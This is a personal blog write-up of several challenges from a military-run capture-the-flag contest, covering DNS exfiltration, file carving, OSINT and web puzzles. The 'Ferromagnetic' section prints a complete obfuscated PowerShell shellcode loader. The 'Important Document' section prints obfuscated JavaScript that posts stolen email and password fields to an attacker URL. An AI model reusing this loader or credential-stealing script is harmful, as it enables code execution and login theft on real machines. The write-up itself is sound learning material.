Week 8 - DoD CorrelationOne CTF
May 2024 (3955 Words, 22 Minutes)
On Saturday, I was selected to participate in the DoD SentinelOne challenge, a CTF put on by the US Military to recruit the best hackers in the nation. I ended up getting 109th out of 1440 participants, putting me at about the top 7.5% of the competitors.
In terms of challenges, this is a contender for the best CTF I’ve participated in. There was only 1 challenge that I could solve immediately, and each one taught me useful skills, and a very healthy spread of difficulty and topics. I’m looking forward to participating next year!
exfil
We get a network capture file called exfiltrated.pcap
with a challenge description that says We've been alerted that something's been stolen from our network, but none of our sensors found anything out of the ordinary. Can you find if a flag was stolen from our network in the packet capture attached?
Examining the capture in Wireshark, we can see there are a lot of outbound DNS requests from 192.168.40.73
to 8.8.8.8
, Google’s DNS server with suspicious subdomains. For example, packet number 455 requests an A record for the domain ZDEYEEKUBK4QQF2L3HHXZXJQK6TZOTT.data.exfiltrated.com.
Scrolling all the way to the bottom, it looks like the last packet is WCCYJ3RRINUTCLX7QB6J777MQ====.data.exfiltrated.com
, which looks kind of similar to base64, except since takes 3 bytes and turns it into 4, it would be impossible to get 4 =
characters. I think the next move is to get all of the suspicious subdomains and create a single string out of them. We can use this python script to do that using the powerful scapy
library:
from scapy.all import rdpcap
pcap_file = "exfiltrated_seg.pcap"
packets = rdpcap(pcap_file)
flag = ""
for packet in packets:
if packet.haslayer('DNS'):
if packet['DNS'].qr == 0: # qr=0 means it's a query
if packet['IP'].src == '192.168.40.73':
query_name = str(packet['DNS'].qd.qname.decode('utf-8'))
# print(query_name)
if 'exfiltrated.com.' in query_name:
parts = query_name.split(".")
flag += parts[0]
print(flag)
Running this returns a 28k character string, that Cyberchef is able to automatically to use the Base32, Render Image
, which prints out the following image.
This showed a really interesting way to exfiltrate data that can dodge detection.
Filing Problem
We get a file called memo
. Running head, we can see the following result:
{14:43}~/ctf/dod/filing-problem ➭ head memo
%
/L 115599/O 18/E 110699/N 1/T 115285/H [ 552 222]>>
<</DecodeParms<</Columns 5/Predictor 12>>/Filter/FlateDecode/ID[<41C6FE1A40BD26449EEC33E9AD48EEC0><31DBDB22F1535649988F4D098611E19C>]/Index[16 60]/Info 15 0 R/Length 123/Prev 115286/Root 17 0 R/Size 76/Type/XRef/W[1 3 1]>>stream
VϤ"9["Sl>0i&?#y@$["B@$\D2IW`
&d8d?Ј ` I1@k
startxref
0
%%EOF
<</Filter/FlateDecode/I 157/Length 129/O 119/S 39/V 135>>stream
Luckily, I recognize this as looking similar to pdf formatting. I queried ChatGPT to generate a PDF header, and it returned this command:
echo -en "%PDF-1.7\n%âãÏÓ\n" > header.pdf
I then concatenated the header.pdf
file with the given memo
using these two commands:
cat header.pdf > memo.pdf
cat memo > memo.pdf
Opening the file, we see it’s full of redacted info:
I selected and copied that bottom redacted box, and pasted it into a document, which revealed the flag! Unfortunately, I was in a hurry, so I didn’t record the flag.
Ferromagnetic
This took me a few times to write because Windows Defender kept on deleting the artifacts on the (correct) suspicion that it contained malware.
The challenge gives us a powershell script:
Set-StrictMode -Version 2
$DoIt = @'
ZnVuY3Rpb24gZnVuY19nZXRfcHJvY19hZGRyZXNzIHsKCVBhcmFtICgkdmFyX21vZHVsZSwgJHZhcl9wcm9jZWR1cmUpCQkKCSR2YXJfdW5zYWZlX25hdGl2ZV9tZXRob2RzID0gKFtBcHBEb21haW5dOjpDdXJyZW50RG9tYWluLkdldEFzc2VtYmxpZXMoKSB8IFdoZXJlLU9iamVjdCB7ICRfLkdsb2JhbEFzc2VtYmx5Q2FjaGUgLUFuZCAkXy5Mb2NhdGlvbi5TcGxpdCgnXFwnKVstMV0uRXF1YWxzKCdTeXN0ZW0uZGxsJykgfSkuR2V0VHlwZSgnTWljcm9zb2Z0LldpbjMyLlVuc2FmZU5hdGl2ZU1ldGhvZHMnKQoJJHZhcl9ncGEgPSAkdmFyX3Vuc2FmZV9uYXRpdmVfbWV0aG9kcy5HZXRNZXRob2QoJ0dldFByb2NBZGRyZXNzJywgW1R5cGVbXV0gQCgnU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkhhbmRsZVJlZicsICdzdHJpbmcnKSkKCXJldHVybiAkdmFyX2dwYS5JbnZva2UoJG51bGwsIEAoW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5IYW5kbGVSZWZdKE5ldy1PYmplY3QgU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkhhbmRsZVJlZigoTmV3LU9iamVjdCBJbnRQdHIpLCAoJHZhcl91bnNhZmVfbmF0aXZlX21ldGhvZHMuR2V0TWV0aG9kKCdHZXRNb2R1bGVIYW5kbGUnKSkuSW52b2tlKCRudWxsLCBAKCR2YXJfbW9kdWxlKSkpKSwgJHZhcl9wcm9jZWR1cmUpKQp9CgpmdW5jdGlvbiBmdW5jX2dldF9kZWxlZ2F0ZV90eXBlIHsKCVBhcmFtICgKCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJFRydWUpXSBbVHlwZVtdXSAkdmFyX3BhcmFtZXRlcnMsCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDEpXSBbVHlwZV0gJHZhcl9yZXR1cm5fdHlwZSA9IFtWb2lkXQoJKQoKCSR2YXJfdHlwZV9idWlsZGVyID0gW0FwcERvbWFpbl06OkN1cnJlbnREb21haW4uRGVmaW5lRHluYW1pY0Fzc2VtYmx5KChOZXctT2JqZWN0IFN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5TmFtZSgnUmVmbGVjdGVkRGVsZWdhdGUnKSksIFtTeXN0ZW0uUmVmbGVjdGlvbi5FbWl0LkFzc2VtYmx5QnVpbGRlckFjY2Vzc106OlJ1bikuRGVmaW5lRHluYW1pY01vZHVsZSgnSW5NZW1vcnlNb2R1bGUnLCAkZmFsc2UpLkRlZmluZVR5cGUoJ015RGVsZWdhdGVUeXBlJywgJ0NsYXNzLCBQdWJsaWMsIFNlYWxlZCwgQW5zaUNsYXNzLCBBdXRvQ2xhc3MnLCBbU3lzdGVtLk11bHRpY2FzdERlbGVnYXRlXSkKCSR2YXJfdHlwZV9idWlsZGVyLkRlZmluZUNvbnN0cnVjdG9yKCdSVFNwZWNpYWxOYW1lLCBIaWRlQnlTaWcsIFB1YmxpYycsIFtTeXN0ZW0uUmVmbGVjdGlvbi5DYWxsaW5nQ29udmVudGlvbnNdOjpTdGFuZGFyZCwgJHZhcl9wYXJhbWV0ZXJzKS5TZXRJbXBsZW1lbnRhdGlvbkZsYWdzKCdSdW50aW1lLCBNYW5hZ2VkJykKCSR2YXJfdHlwZV9idWlsZGVyLkRlZmluZU1ldGhvZCgnSW52b2tlJywgJ1B1YmxpYywgSGlkZUJ5U2lnLCBOZXdTbG90LCBWaXJ0dWFsJywgJHZhcl9yZXR1cm5fdHlwZSwgJHZhcl9wYXJhbWV0ZXJzKS5TZXRJbXBsZW1lbnRhdGlvbkZsYWdzKCdSdW50aW1lLCBNYW5hZ2VkJykKCglyZXR1cm4gJHZhcl90eXBlX2J1aWxkZXIuQ3JlYXRlVHlwZSgpCn0KCltCeXRlW11dJHZhcl9jb2RlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnV0UrY2I5UnVDUWpqVUN0UWlJMFRHQjRKMWRCUGdvMFYzTkNhOHV5UGpxbUJLOGREUk1DMWVYckN6VnRWcGVKd2hsMjBJZWFMUzNQNk42QzZEdjhCT3NyZ1NJSjRFOHJxSWlNank2amMzTndNVVZOQUl4d2tEMnZhVVlpUVVVbGlNejlqdXpUellBNkYwbzE4K0J5VzJNMU5sdzA3Y0JxUmEyZ3F5Mm5DWEZacGVJWGU3QnowK09uZ0NPNHQwbXdCVHFyRTU3cnloTHY3WjJrOGhaRzBJMnRNVUZjWkEyQVNXRTVDVDFSQ1VVWjhURUZGVmxCQVFsY1NFMDE4RjAxSGZFNFhUUkpUVms4WFYwb1RUUUplTGlsaVFFQkdVMWNaQXdrTUNTNHBkbEJHVVE1aVJFWk5WeGtEYmt4WlNrOVBRZ3dXRFJNREMzUktUVWRNVkZBRGJYY0RGUTBTQ2dOaVUxTlBSblJHUVdoS1Z3d1dFQlFORUJVREMyaHJkMjV2RHdOUFNraEdBMlJHUUVoTUNpNHBJMDB3clJHL3h1NURFN3RiZnZ0aGhxdTBnNmV0V05qQ3VQeUNKMEpqUW5pbHFpcGJCeHBxcHlxYzZITUJuUS9HZGJEMGxsNmRiZ2wzM1FlU3JIc1JMbGp4ZGNsSWxvNmYxZ3RXbzRLRXJTMVVUQTRkSVk2UkI5UFliMkFtNm51VDZVOVF0cUZmSCtCS2N1cHQ1T1pISk5FcWFQNjZRY3Y3VDRCV011Q200MWJHZStETGl0N2MzQklSRkEwVERSTU5FaU55S3B4TycpCgpmb3IgKCR4ID0gMDsgJHggLWx0ICR2YXJfY29kZS5Db3VudDsgJHgrKykgewoJJHZhcl9jb2RlWyR4XSA9ICR2YXJfY29kZVskeF0gLWJ4b3IgMzUKfQoKJHZhcl92YSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKChmdW5jX2dldF9wcm9jX2FkZHJlc3Mga2VybmVsMzIuZGxsIFZpcnR1YWxBbGxvYyksIChmdW5jX2dldF9kZWxlZ2F0ZV90eXBlIEAoW0ludFB0cl0sIFtVSW50MzJdLCBbVUludDMyXSwgW1VJbnQzMl0pIChbSW50UHRyXSkpKQokdmFyX2J1ZmZlciA9ICR2YXJfdmEuSW52b2tlKFtJbnRQdHJdOjpaZXJvLCAkdmFyX2NvZGUuTGVuZ3RoLCAweDMwMDAsIDB4NDApCltTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkNvcHkoJHZhcl9jb2RlLCAwLCAkdmFyX2J1ZmZlciwgJHZhcl9jb2RlLmxlbmd0aCkKCiR2YXJfcnVubWUgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkdmFyX2J1ZmZlciwgKGZ1bmNfZ2V0X2RlbGVnYXRlX3R5cGUgQChbSW50UHRyXSkgKFtWb2lkXSkpKQokdmFyX3J1bm1lLkludm9rZShbSW50UHRyXTo6WmVybyk=
'@
$aa1234 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($DoIt))
If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $aa1234 | wait-job | Receive-Job
}
else {
IEX $aa1234
}
Decoding that Base 64 string, we get some more powershell:
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
[Byte[]]$var_code = [System.Convert]::FromBase64String('WE+cb9RuCQjjUCtQiI0TGB4J1dBPgo0V3NCa8uyPjqmBK8dDRMC1eXrCzVtVpeJwhl20IeaLS3P6N6C6Dv8BOsrgSIJ4E8rqIiMjy6jc3NwMUVNAIxwkD2vaUYiQUUliMz9juzTzYA6F0o18+ByW2M1Nlw07cBqRa2gqy2nCXFZpeIXe7Bz0+OngCO4t0mwBTqrE57ryhLv7Z2k8hZG0I2tMUFcZA2ASWE5CT1RCUUZ8TEFFVlBAQlcSE018F01HfE4XTRJTVk8XV0oTTQJeLiliQEBGU1cZAwkMCS4pdlBGUQ5iREZNVxkDbkxZSk9PQgwWDRMDC3RKTUdMVFADbXcDFQ0SCgNiU1NPRnRGQWhKVwwWEBQNEBUDC2hrd25vDwNPSkhGA2RGQEhMCi4pI00wrRG/xu5DE7tbfvthhqu0g6etWNjCuPyCJ0JjQnilqipbBxpqpyqc6HMBnQ/GdbD0ll6dbgl33QeSrHsRLljxdclIlo6f1gtWo4KErS1UTA4dIY6RB9PYb2Am6nuT6U9QtqFfH+BKcupt5OZHJNEqaP66Qcv7T4BWMuCm41bGe+DLit7c3BIRFA0TDRMNEiNyKpxO')
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
We can see that the next big string is also Base64 encoded from the lack of symbols beyond +
and /
, as well as the FromBase64String
conversion, meaning that surely the flag is just one decode away, however this is the result:
XOoÔn ãP+P ÕÐOÜÐòì©+ÇCDÀµyzÂÍ[U¥âp]´!æKsú7 ºÿ:ÊàHxÊê"##˨ÜÜÜQS@#$kÚQQIb3?c»4ó`
Ò|øØÍM
;pkh*ËiÂ\Vix
Þìôøéàî-ÒlNªÄçºò»ûgi<
´#kLPW`XNBOTBQF|LAEVP@BWM|MG|NMSVOWJM^.)b@@FSW .)vPFQbDFMWnLYJOOB
tJMGLTPmw
bSSOFtFAhJW
hkwnoOJHFdF@HL
.)#M0¿ÆîC»[~ûa«´§XØÂ¸ü'BcBx¥ª*[j§*èsÆu°ô^n wݬ{.XñuÉHÖV£-TL!ÓØo`&ê{éOP¶¡_àJrêmäæG$Ñ*hþºAËûOV2à¦ãVÆ{àËÞÜÜ
#r*N
Non-sense. However, a little bit down the program, it looks like it XORs it with decimal 35. XORing the above with 35 gets another string of characters, but this time with the flag embedded inside it:
Host: C1{malware_obfuscat10n_4nd_m4n1pul4ti0n!}
I would guess this malware makes some kind of web request. One of my biggest gripes with CTFs is that we rarely do anything dangerous, so I enjoyed doing reverse engineering on some real malware obfuscation.
Have you bean here before
We get a challenge that contains this image and the description: Our target has been out and about, enjoying their (unwelcome) stay in the US. They have just posted this picture. Think you can nail down where they are and submit the MAC address of the WiFi they are likely on?
The street has an urban East Coast look, given the relatively small streets (at least compared to the South West, which is where I live), and the architecture. This is supported by the fact that the challenge is being put on by the Department of Defense, which increases the likelihood that this is somewhere in the Northeast Corridor of the United States. Zooming into the photo shows the name Paul on the coffee cup. I searched up “Paul’s” on Google maps, and found a very well-reviewed and classy bakery in DC called Paul next to Franklin Park. Here’s the Google street view from April 2023, which appears to match the buildings seen in the image.
I’ve actually been here while walking from Columbia Heights to the Mall a few summers back, though it was about 6,000 degrees Kelvin. Now that we have an address, lets see about getting the MAC address of their WiFi. After a bunch of dead-ends, I found out about this website called wigle.net, which takes recordings of geolocated WiFi captures. Here’s what it looks like over Downtown San Francisco:
Each one of those dots is a captured data point about a wireless network, including SSID, BSSID, Channel, and most importantly: MAC Address.
Here’s DC:
And here’s the map at the address.
I’d bet that our target used the guest wifi, so let’s investigate that “Paul Guest” network at the bottom left the building. Zooming in reveals the MAC!
Meaning the flag is C1{6C:CD:D6:BD:5B:51}
.
An adversary with state sponsored-level sophistication could plant a MITM attack on that router in person to intercept communications between the target and other parties, causing them to leak information.
This was a very interesting challenge. I figured that there was a place that could store WiFi captures, but it’s great to see that it’s free, easy to use, and friendly to the hacker community.
Header Hinterlands
We get a tarball called header-hinterlands.tar
with the following description: Our intel team received an anonymous tip that our website is leaking secrets - it appears that an insider threat has implanted an encoded message on our index.html landing page. We can't figure out where or what the message is and need your help! To protect our agency, we have taken the webpage down, but saved it to a Docker instance first so you can interact with the site and figure this out for us.
Untaring the ball, we get an interesting file structure:
.
├── blobs
│ └── sha256
│ ├── 0f73163669d42a87db7373f34ff9d349b5e569bc4fb76e49bbc866e0c529bbc3
│ ├── 13c52683b53702429f50e2b35a5ec052429a2dca6cde40cb1a1a7887068ffd36
│ ├── 183d7f3eae8e2066d57a0bca701053d2f8d2048f17c854764b66948a31e6a1a9
│ ├── 1bef5d4459b99e5bbdd296edc053e60c109279760510ac0bf380a845e43aad73
│ ├── 208c9f1ea3b103c44402290505ea872bd95275d500134f92f027800965af01f2
│ ├── 30da0873df5fbaf6ed709e596cd8a593b40046f0414b2f6c8bf9143e5768b329
│ ├── 337b7d64083b228d373cbae432333678b9a8431522072f97b2014bfd115b2c8f
│ ├── 3e8ad8bcb0ac62b8d041d9b987cb0c496b627229e1cef03269d7d9a420d963b0
│ ├── 440e8722eaf2063ca3461cb819e487ac7784e8ca4bd634558aeb5d7a0f25aa00
│ ├── 450f7d960e25dde4488c977eeb3d718b814526e6ea7afaa95219bce3d06593ad
│ ├── 5dd93e7d0a8af505b51a4713f8445da092e7d1a117358874cb585f1da5f6379b
│ ├── 6256cb17a680a5cbd6234a5076e6ba6a32de05eed0874ba49ea8a6e8b9d8ec3c
│ ├── 74b4ff8dbbd156db9cbbf53509dc1504b04f7c584c47b48151ca9c0c1fec83e8
│ ├── 812cba6d7ac1bc6745b3e81539e3343c0447b62b47836be42e05c68903d59272
│ ├── 945b71ab62f6d82a05b6cd94a0b39a96e644b0d00bdb453861508a1dff3c5cae
│ ├── a1189225ce2aa6badac04789507148d147651f4c4fc4bd2b14cb9f90d4623de0
│ ├── a6dceef6a6cf874dbda111d1eb04beaf750f84ff7c7903a0ab25542f913932f7
│ ├── aedc3bda2944bb9bcb6c3d475bee8b460db9a9b0f3e0b33a6ed2fd1ae0f1d445
│ ├── b7da1d95051fa9e21f5c9934d4abb8686038e4d76775c857a39644fc3a7b8e81
│ ├── c018a48a857c458319296c9956c11f9431c5b5b45ad75ca478978b620efe26f6
│ ├── cc21fbcdbe3ddce5e565eae02620eb87c58429cbd2cd5280f55555327c0c18aa
│ ├── cdd311f34c299cd8f5d618d412d7e7195b15c0a4efa9f4abd558102bda13fe08
│ ├── e38678da20ee58d520022cf145bca050cd0aa24e9d11a287a14a412257a7f144
│ └── f932825d60236642142c9fe1a165c81124cd5f1d9a3ac4f934750f90f6c074cd
├── index.json
├── manifest.json
├── oci-layout
└── repositories
It looks like this is a container of the website that got defaced. ChatGPT was able to identify this as an Open Container Initiative image. To my understanding, OCI images are cross-platform open source images that can be used by multiple containerization engines. Bringing this image up, it doesn’t look like any ports are open. After many failed attempts to get the container running, I decided to statically analyze the packed image for the flag. First, I tried using:
strings * | grep C1{
to get the flag by format, but that didn’t work. I would bet that it’s encoded in base64. Base64 encoding takes 3 bytes of any value and maps them to a set of 4 readable characters. Luckily, we have enough characters of the flag format to search the base64 equivalent. Using Cyberchef, I converted C1{
to base64, which is QzF7
. Running:
strings * | grep QzF7
Returns this string:
{13:18}~/ctf/dod/header-hinterlands/blobs/sha256 ➭ strings * | grep QzF7
add_header X-Syndicate-Command "QzF7YW1AejFuZ193aEB0X3VfY0BuX2gxZDNfMW5faDNAZDNyc30=" always;
Converting that string from base64, we get the flag: C1{am@z1ng_wh@t_u_c@n_h1d3_1n_h3@d3rs}
Apparently, the intended solution was to create your own Dockerfile to map a host port to a guest port, but it’s also interesting to know that you can statically analyze configuration files found in a container binary. While fumbling through the blobs, I was able to find most of the configuration files for the underlying NGINX server that was meant to serve up the website, which could be a useful technique for analyzing a malicious container, though it would probably be more productive to analyze the container in a sandboxed environment. However, it’s not too difficult to imagine a container injected with malware that can detect if it is running in a virtual machine or a sandbox and open up a C2 server if conditions are right, so statically analyzing a docker image is still useful.
Important Document
In this challenge, we get a fairly complex html file called important-document.html
. While catting out the file, I noticed a suspicious string full of what looks like a binary representation of ascii characters:
01100110 01110101 01101110 01100011 01110100 01101001 01101111 01101110 00100000 01011111 00110000 01111000 01100101 00111001 00111000 00110010 00101000 00101001 01111011 01110110 01100001 01110010 00100000 01011111 00110000 01111000 00110111 01100010 01100001 01100011 00110011 00110110 00111101 01011011 00100111 00110011 00110101 00110010 00110111 00110110
...
I suspect that these are ascii characters because none of the bytes have their most significant (left-most) bit activated, meaning they are between 0 and 127, which is the range of the standard ascii alphabet. Converting it into ascii, we get some javascript:
function _0xe982(){var _0x7bac36=['3527610SzQOMX','toHex','stringify','util','email','544074zLCSBz','random','hexToBytes','7myETlh','getElementById','25094PwHGWK','3jpVWZs','output','update','11JIHxrF','getBytesSync','38aVhRWV','6175570NyIldj','AES-CBC','3905613juwaIs','credForm','submit','4223376oAVYBO','https://badguys.c1/lol','691928cADIbE','POST','preventDefault','NDMzMTdiNjgzMDcwMzM1Zjc5MzA3NTVmNjQzMTY0NmU3NDVmNzU3MzMzNWYzNDVmNzIzNDMzMzE1ZjcwMzQ3MzczNzczMDcyNjQ3ZA=='];_0xe982=function(){return _0x7bac36;};return _0xe982();}var _0x1fd9bc=_0x3655;(function(_0x200116,_0x310b10){var _0x33c5a7=_0x3655,_0x4b6c7a=_0x200116();while(!![]){try{var _0x368422=parseInt(_0x33c5a7(0x12f))/0x1*(parseInt(_0x33c5a7(0x135))/0x2)+-parseInt(_0x33c5a7(0x130))/0x3*(parseInt(_0x33c5a7(0x13d))/0x4)+parseInt(_0x33c5a7(0x141))/0x5+-parseInt(_0x33c5a7(0x12a))/0x6*(parseInt(_0x33c5a7(0x12d))/0x7)+parseInt(_0x33c5a7(0x13b))/0x8+-parseInt(_0x33c5a7(0x138))/0x9+-parseInt(_0x33c5a7(0x136))/0xa*(parseInt(_0x33c5a7(0x133))/0xb);if(_0x368422===_0x310b10)break;else _0x4b6c7a['push'](_0x4b6c7a['shift']());}catch(_0x577a0b){_0x4b6c7a['push'](_0x4b6c7a['shift']());}}}(_0xe982,0x6072f));function _0x3655(_0xb7f3a5,_0x4b9901){var _0xe98259=_0xe982();return _0x3655=function(_0x365592,_0x40b5c5){_0x365592=_0x365592-0x129;var _0x453e01=_0xe98259[_0x365592];return _0x453e01;},_0x3655(_0xb7f3a5,_0x4b9901);}const F=document['getElementById'](_0x1fd9bc(0x139));F['addEventListener'](_0x1fd9bc(0x13a),function(_0x5245ac){var _0x9e8024=_0x1fd9bc;_0x5245ac[_0x9e8024(0x13f)]();const _0x7df5ad=document['getElementById'](_0x9e8024(0x129)),_0x3ac123=document[_0x9e8024(0x12e)]('password');var _0x2b2d27=forge[_0x9e8024(0x12b)][_0x9e8024(0x134)](0x10),_0x3c8b18=forge[_0x9e8024(0x12b)][_0x9e8024(0x134)](0x10),_0x1f5338=forge['cipher']['createCipher'](_0x9e8024(0x137),_0x2b2d27);_0x1f5338['start']({'iv':_0x3c8b18}),_0x1f5338[_0x9e8024(0x132)](forge['util']['createBuffer'](forge[_0x9e8024(0x144)][_0x9e8024(0x12c)](atob(_0x9e8024(0x140))))),_0x1f5338['finish']();var _0x52a7fa=btoa(_0x1f5338[_0x9e8024(0x131)][_0x9e8024(0x142)]()),_0x4ca5b3={'email':_0x7df5ad['value'],'password':_0x3ac123['value'],'flag':_0x52a7fa};console['log'](_0x4ca5b3),fetch(_0x9e8024(0x13c),{'method':_0x9e8024(0x13e),'headers':{'Content-Type':'application/json'},'body':JSON[_0x9e8024(0x143)](_0x4ca5b3)});});
If I were to guess, I’d think that this script takes one of the hard coded strings at the top, and performs some modifications to create the flag. After a couple of minutes of trying to reverse engineer the script, I decided to start messing around with one of those values. Taking the longest one, NDMzMTdiNjgzMDcwMzM1Zjc5MzA3NTVmNjQzMTY0NmU3NDVmNzU3MzMzNWYzNDVmNzIzNDMzMzE1ZjcwMzQ3MzczNzczMDcyNjQ3ZA==
and converting it from base64, we get the hex string 43317b683070335f7930755f6431646e745f7573335f345f723433315f70347373773072647d
. Converting that from hex to ascii, we get the flag: C1{h0p3_y0u_d1dnt_us3_4_r431_p4ssw0rd}
Looking at the original script, it seems like the client-side json takes that long binary string, decodes it, then creates a <script>
tag to run this javascript. I bet it would be possible to retrieve the flag from memory, but statically analyzing a malicious script is often less dangerous.
Printer
In this challenge we are given a link to a website with an admin page. The website is down, but I managed to save it on the Wayback Machine here.
I tried a few different passwords, including admin
, password
, and 123456
. There’s nothing about the challenge that implies anything with bruteforcing or fuzzing, plus the competition overseers were begging people to stop DDoSing their infra at this point. Poking around the javascript, we see some code that takes a base64 string, decodes it, then runs it:
eval(atob("Y29uc3QgZm9ybSA9IHsKICBwYXNzd29yZDogZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiI3Bhc3N3b3JkIiksCiAgc3VibWl0OiBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIjc3VibWl0IikKfTsKCmxldCBidXR0b24gPSBmb3JtLnN1Ym1pdC5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsIChlKSA9PiB7CiAgZS5wcmV2ZW50RGVmYXVsdCgpOwogIGNvbnN0IGxvZ2luID0gIi9hcGkvbG9naW4iOwoKICBmZXRjaChsb2dpbiwgewogICAgbWV0aG9kOiAiUE9TVCIsCiAgICBoZWFkZXJzOiB7CiAgICAgIEFjY2VwdDogImFwcGxpY2F0aW9uL2pzb24sIHRleHQvcGxhaW4sICovKiIsCiAgICAgICJDb250ZW50LVR5cGUiOiAiYXBwbGljYXRpb24vanNvbiIsCiAgICB9LAogICAgYm9keTogSlNPTi5zdHJpbmdpZnkoewogICAgICBwYXNzd29yZDogZm9ybS5wYXNzd29yZC52YWx1ZSwKICAgIH0pLAogIH0pCiAgICAudGhlbigocmVzcG9uc2UpID0+IHJlc3BvbnNlLmpzb24oKSkKICAgIC50aGVuKChkYXRhKSA9PiB7CiAgICAgIGNvbnNvbGUubG9nKGRhdGEpOwogICAgICAvLyBjb2RlIGhlcmUgLy8KICAgICAgaWYgKGRhdGEuZXJyb3IpIHsKICAgICAgICBhbGVydCgiSW5jb3JyZWN0IFVzZXJuYW1lIG9yIFBhc3N3b3JkIik7IC8qZGlzcGxheXMgZXJyb3IgbWVzc2FnZSovCiAgICAgIH0gZWxzZSB7CiAgICAgICAgZG9jdW1lbnQubG9jYXRpb249Ii9hZG1pbiI7CiAgICAgIH0KICAgIH0pCiAgICAuY2F0Y2goKGVycikgPT4gewogICAgICBjb25zb2xlLmxvZyhlcnIpOwogICAgfSk7Cn0pOw=="))
It looks like this is a red herring because when decoded, this just sends the password to the /api/admin
endpoint:
const form = {
password: document.querySelector("#password"),
submit: document.querySelector("#submit")
};
let button = form.submit.addEventListener("click", (e) => {
e.preventDefault();
const login = "/api/login";
fetch(login, {
method: "POST",
headers: {
Accept: "application/json, text/plain, */*",
"Content-Type": "application/json",
},
body: JSON.stringify({
password: form.password.value,
}),
})
.then((response) => response.json())
.then((data) => {
console.log(data);
// code here //
if (data.error) {
alert("Incorrect Username or Password"); /*displays error message*/
} else {
document.location="/admin";
}
})
.catch((err) => {
console.log(err);
});
});
After butting my head against this challenge for half an hour, I decided to check the robots.txt
, which is a webpage that lets search engine indexers know how to navigate the website, including which sites shouldn’t be indexed, or where machine-readable sitemaps are. Luckily, this yielded an interesting result recorded on the Wayback Machine:
User-agent: *
Disallow: /notes.txt
Visiting /notes.txt
here, we get the password:
TODO: Finish implementing user database. Dev password is 'fAES5I64X1EL'.
Using the password, we get the flag! However, I can’t seem to find it in my notes. I promise.
Ephemeral
I didn’t record any artifacts for this challenge, as it was trivial for a competitor at my skill level. However, it would make a fantastic learning example for someone looking into network tools for hacking.
The challenge gives us a URL with an ssh server and credentials to log in. After logging in, it seems like our goal is to find an open port, connect to it and get the flag. We are only given access to nmap
, curl
, and nc
. I tried different ways to get the number of the open port by using ss -tlpn
and checking the /dev/tcp
dir, but both failed. Instead, I ran nmap localhost -p0-65535
to scan every port, which showed that an unidentifiable service is running on port 50119. Using curl localhost:50119
, the process just hung, so I tried nc localhost 50119
, which returned the flag.